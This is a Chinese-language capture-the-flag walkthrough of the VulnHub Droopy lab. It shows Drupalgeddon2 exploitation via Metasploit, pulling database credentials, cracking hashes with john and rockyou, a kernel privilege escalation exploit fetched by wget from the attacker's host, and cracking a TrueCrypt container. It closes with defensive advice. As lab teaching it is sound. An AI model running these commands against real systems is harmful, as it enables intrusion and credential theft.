DroopyCTF靶机渗透
字数 1244 2025-08-12 11:34:00

DroopyCTF靶机渗透教学文档

1. 靶机概述

  • 下载地址: VulnHub Droopy v0.2
  • 难度级别: 中级
  • 目标: 获取root权限并找到flag
  • 关键提示:
    1. 准备rockyou密码字典
    2. 阅读他人邮件可能有帮助

2. 初始信息收集

2.1 网络扫描

nmap -sV -p- 10.8.0.108

发现:

  • 仅开放80端口
  • 运行Drupal 7.30 (通过/CHANGELOG.txt确认)

2.2 目录扫描

dirb http://10.8.0.108/

发现:

  • 大量目录,但只有CHANGELOG.txt提供有用信息

3. 漏洞利用

3.1 Drupalgeddon2漏洞利用

  1. 启动Metasploit:
msfconsole
  1. 搜索Drupal漏洞:
search drupal
  1. 选择利用模块:
use unix/webapp/drupal_drupalgeddon2
  1. 设置参数:
set rhosts 10.8.0.108
  1. 执行攻击:
run

结果: 获得meterpreter会话

3.2 升级shell

python -c 'import pty;pty.spawn("/bin/bash")'

4. 数据库信息收集

4.1 查找配置文件

cat sites/default/settings.php

发现:

  • 数据库名: drupal
  • 用户名: drupaluser
  • 密码: nimda

4.2 登录MySQL

mysql -u drupaluser -p
# 输入密码: nimda

4.3 查询用户表

use drupal;
select * from users;

发现:

  • 用户: drupaladmin
  • 密码哈希: \(S\)Ds5SgCrqwrbxJY36HldOHA3C9wWH0W3DXMkHSXBb7SsYVfhhlM7s
  • 邮箱: drupal@knight139.co.uk

5. 密码破解

  1. 将哈希保存到1.txt
  2. 使用john破解:
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt

破解结果: Password1

6. Web登录

  • 用户名: drupaladmin
  • 密码: Password1

7. 系统提权

7.1 查找内核漏洞

searchsploit linux 3.13 ubuntu 14.04

发现: linux/local/37292.c

7.2 编译执行exp

  1. 本地开启HTTP服务:
python -m SimpleHTTPServer 80
  1. 靶机下载:
wget http://<your_ip>/37292.c -O /tmp/37292.c
  1. 编译执行:
gcc 37292.c -o exp
chmod +x exp
./exp

结果: 获得root权限

8. 寻找flag

8.1 初始查找

find / -type f -name "flag*"

无结果

8.2 检查邮件提示

cd /var/mail
ls -la

8.3 处理dave.tc文件

  1. 下载到本地分析:
# 靶机:
nc -lvp 4444 < /root/dave.tc
# 本地:
nc <target_ip> 4444 > dave.tc
  1. 分析文件类型:
file dave.tc
strings dave.tc

发现: TrueCrypt加密容器

8.4 破解TrueCrypt密码

  1. 过滤rockyou字典:
cat /usr/share/wordlists/rockyou.txt | grep academy > dic.txt
  1. 尝试密码: etonacademy (成功)

8.5 挂载加密容器

  1. 安装VeraCrypt
  2. 选择dave.tc文件
  3. 输入密码: etonacademy
  4. 选择HMAC-SHA-512和TrueCrypt模式

8.6 获取flag

  1. 进入挂载点:
cd /media/veracrypt1/
  1. 查找flag:
cd .secret/.top
cat flag.txt

9. 关键知识点总结

  1. Drupal漏洞利用: Drupal 7.x版本的Drupalgeddon2远程代码执行漏洞
  2. 密码破解: 使用john和rockyou字典破解Drupal密码哈希
  3. 数据库渗透: 从配置文件中提取数据库凭证
  4. 内核提权: Linux 3.13内核漏洞利用
  5. 加密容器破解: TrueCrypt/VeraCrypt加密容器的挂载和密码破解
  6. 信息隐藏: flag被隐藏在多层加密容器中

10. 防御建议

  1. 及时更新CMS系统和插件
  2. 使用强密码策略
  3. 限制数据库用户权限
  4. 定期更新操作系统内核
  5. 对敏感文件设置适当权限
  6. 避免在配置文件中存储明文密码
DroopyCTF靶机渗透教学文档 1. 靶机概述 下载地址 : VulnHub Droopy v0.2 难度级别 : 中级 目标 : 获取root权限并找到flag 关键提示 : 准备rockyou密码字典 阅读他人邮件可能有帮助 2. 初始信息收集 2.1 网络扫描 发现 : 仅开放80端口 运行Drupal 7.30 (通过/CHANGELOG.txt确认) 2.2 目录扫描 发现 : 大量目录,但只有CHANGELOG.txt提供有用信息 3. 漏洞利用 3.1 Drupalgeddon2漏洞利用 启动Metasploit: 搜索Drupal漏洞: 选择利用模块: 设置参数: 执行攻击: 结果 : 获得meterpreter会话 3.2 升级shell 4. 数据库信息收集 4.1 查找配置文件 发现 : 数据库名: drupal 用户名: drupaluser 密码: nimda 4.2 登录MySQL 4.3 查询用户表 发现 : 用户: drupaladmin 密码哈希: $S$Ds5SgCrqwrbxJY36HldOHA3C9wWH0W3DXMkHSXBb7SsYVfhhlM7s 邮箱: drupal@knight139.co.uk 5. 密码破解 将哈希保存到1.txt 使用john破解: 破解结果 : Password1 6. Web登录 用户名: drupaladmin 密码: Password1 7. 系统提权 7.1 查找内核漏洞 发现 : linux/local/37292.c 7.2 编译执行exp 本地开启HTTP服务: 靶机下载: 编译执行: 结果 : 获得root权限 8. 寻找flag 8.1 初始查找 无结果 8.2 检查邮件提示 8.3 处理dave.tc文件 下载到本地分析: 分析文件类型: 发现 : TrueCrypt加密容器 8.4 破解TrueCrypt密码 过滤rockyou字典: 尝试密码: etonacademy (成功) 8.5 挂载加密容器 安装VeraCrypt 选择dave.tc文件 输入密码: etonacademy 选择HMAC-SHA-512和TrueCrypt模式 8.6 获取flag 进入挂载点: 查找flag: 9. 关键知识点总结 Drupal漏洞利用 : Drupal 7.x版本的Drupalgeddon2远程代码执行漏洞 密码破解 : 使用john和rockyou字典破解Drupal密码哈希 数据库渗透 : 从配置文件中提取数据库凭证 内核提权 : Linux 3.13内核漏洞利用 加密容器破解 : TrueCrypt/VeraCrypt加密容器的挂载和密码破解 信息隐藏 : flag被隐藏在多层加密容器中 10. 防御建议 及时更新CMS系统和插件 使用强密码策略 限制数据库用户权限 定期更新操作系统内核 对敏感文件设置适当权限 避免在配置文件中存储明文密码